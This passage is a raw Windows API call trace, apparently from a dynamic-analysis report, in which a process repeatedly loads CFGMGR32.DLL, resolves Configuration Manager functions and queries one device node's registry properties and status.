RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0236.403] SafeArrayGetDim (psa=0x20abbaf24a0) returned 0x1 [0236.403] SafeArrayGetUBound (in: psa=0x20abbaf24a0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0236.403] SafeArrayGetElemsize (psa=0x20abbaf24a0) returned 0x8 [0236.403] SafeArrayGetElement (in: psa=0x20abbaf24a0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0236.404] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc402120, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0236.404] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0236.405] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d6f0) returned 1 [0236.405] malloc (_Size=0xd8) returned 0x20abc284e70 [0236.405] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0236.406] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0236.406] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0236.406] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0236.406] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0236.406] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0236.406] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0236.406] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0236.407] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0236.407] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0236.407] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0236.407] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0236.407] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0236.407] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0236.407] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0236.407] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0236.408] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0236.408] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0236.408] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0236.408] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0236.408] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0236.408] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0236.409] malloc (_Size=0x18) returned 0x20abc281be0 [0236.409] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x5, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0236.409] malloc (_Size=0x5a) returned 0x20abc2801b0 [0236.409] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x5, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2801b0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2801b0, pulLength=0x2dc22fd3f8) returned 0x0 [0236.410] free (_Block=0x20abc2801b0) [0236.410] malloc (_Size=0x48) returned 0x20abc27cf80 [0236.410] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x48ac4541, dwHighDateTime=0x1d9eb0c)) [0236.410] SetEvent (hEvent=0x248) returned 1 [0236.413] malloc (_Size=0x18) returned 0x20abc281b20 [0236.413] SafeArrayPutElement (psa=0x20abbaf1fe0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0236.413] free (_Block=0x20abc281b20) [0236.413] malloc (_Size=0x18) returned 0x20abc281be0 [0236.413] SafeArrayPutElement (psa=0x20abbaf1fe0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0236.414] free (_Block=0x20abc281be0) [0236.414] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0cff0 [0236.414] SafeArrayGetDim (psa=0x20abbaf1fe0) returned 0x1 [0236.414] SafeArrayGetLBound (in: psa=0x20abbaf1fe0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0236.414] SafeArrayGetUBound (in: psa=0x20abbaf1fe0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0236.414] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0236.414] SafeArrayGetDim (psa=0x20abbaf1fe0) returned 0x1 [0236.414] SafeArrayGetUBound (in: psa=0x20abbaf1fe0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0236.414] SafeArrayGetElemsize (psa=0x20abbaf1fe0) returned 0x8 [0236.414] SafeArrayGetElement (in: psa=0x20abbaf1fe0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0236.414] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93730, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0236.415] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93738, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0236.415] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0236.416] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0cff0) returned 1 [0236.416] malloc (_Size=0xd8) returned 0x20abc284e70 [0236.416] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0236.417] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0236.417] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0236.417] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0236.417] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0236.417] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0236.417] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0236.417] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0236.417] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0236.418] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0236.418] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0236.418] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0236.418] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0236.418] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0236.418] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0236.418] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0236.419] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0236.419] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0236.419] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0236.419] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0236.419] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0236.419] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0236.419] malloc (_Size=0x18) returned 0x20abc281a00 [0236.420] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x5, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0236.423] malloc (_Size=0x48) returned 0x20abc27cb20 [0236.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x48aea960, dwHighDateTime=0x1d9eb0c)) [0236.423] SetEvent (hEvent=0x248) returned 1 [0236.480] malloc (_Size=0xd8) returned 0x20abc284e70 [0236.480] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0236.480] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0236.481] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0236.481] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0236.481] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0236.481] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0236.481] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0236.481] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0236.481] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0236.482] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0236.482] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0236.482] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0236.482] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0236.482] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0236.482] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0236.482] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0236.482] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0236.483] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0236.483] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0236.483] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0236.483] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0236.483] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0236.483] malloc (_Size=0x18) returned 0x20abc281f20 [0236.484] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x5, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0236.484] malloc (_Size=0x48) returned 0x20abc27cf80 [0236.484] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x48b8302c, dwHighDateTime=0x1d9eb0c)) [0236.484] SetEvent (hEvent=0x248) returned 1 [0236.488] malloc (_Size=0xd8) returned 0x20abc284e70 [0236.488] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0236.488] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0236.488] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0236.488] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0236.489] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0236.489] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0236.489] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0236.489] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0236.489] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0236.489] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0236.489] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0236.490] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0236.490] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0236.490] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0236.490] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0236.490] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0236.490] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0236.491] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0236.491] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0236.491] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0236.491] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0236.491] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0236.492] malloc (_Size=0x18) returned 0x20abc282060 [0236.492] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x5, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0236.492] malloc (_Size=0x48) returned 0x20abc27cb20 [0236.492] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x48ba92fd, dwHighDateTime=0x1d9eb0c)) [0236.493] SetEvent (hEvent=0x248) returned 1 [0236.496] malloc (_Size=0xd8) returned 0x20abc284e70 [0236.496] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0236.497] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0236.497] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0236.497] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0236.497] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0236.497] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0236.497] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0236.497] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0236.497] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0236.498] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0236.498] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0236.498] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0236.498] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0236.498] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0236.498] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0236.498] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0236.499] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0236.499] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0236.499] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0236.499] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0236.499] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0236.499] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0236.499] malloc (_Size=0x18) returned 0x20abc281fc0 [0236.500] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x5, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0236.500] malloc (_Size=0x48) returned 0x20abc27cb20 [0236.500] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x48ba92fd, dwHighDateTime=0x1d9eb0c)) [0236.500] SetEvent (hEvent=0x248) returned 1 [0236.507] malloc (_Size=0xd8) returned 0x20abc284e70 [0236.507] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0236.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0236.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0236.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0236.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0236.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0236.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0236.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0236.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0236.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0236.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0236.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0236.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0236.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0236.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0236.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0236.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0236.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0236.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0236.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0236.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0236.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0236.510] malloc (_Size=0x18) returned 0x20abc281fc0 [0236.510] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x5, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0236.513] malloc (_Size=0x48) returned 0x20abc27cb20 [0236.513] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x48bcf49b, dwHighDateTime=0x1d9eb0c)) [0236.514] SetEvent (hEvent=0x248) returned 1 [0236.517] malloc (_Size=0xd8) returned 0x20abc284e70 [0236.517] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0236.518] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0236.518] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0236.518] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0236.518] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0236.518] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0236.518] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0236.518] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0236.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0236.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0236.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0236.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0236.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0236.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0236.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0236.519] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0236.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0236.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0236.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0236.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0236.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0236.520] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0236.521] malloc (_Size=0x18) returned 0x20abc281c20 [0236.521] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x5, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0236.521] malloc (_Size=0x48) returned 0x20abc27cb20 [0236.521] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x48bcf49b, dwHighDateTime=0x1d9eb0c)) [0236.575] SetEvent (hEvent=0x248) returned 1 [0236.580] malloc (_Size=0xd8) returned 0x20abc284e70 [0236.580] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0236.581] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0236.581] GetProcAddress (hModule=0x7ffb1ced0000, 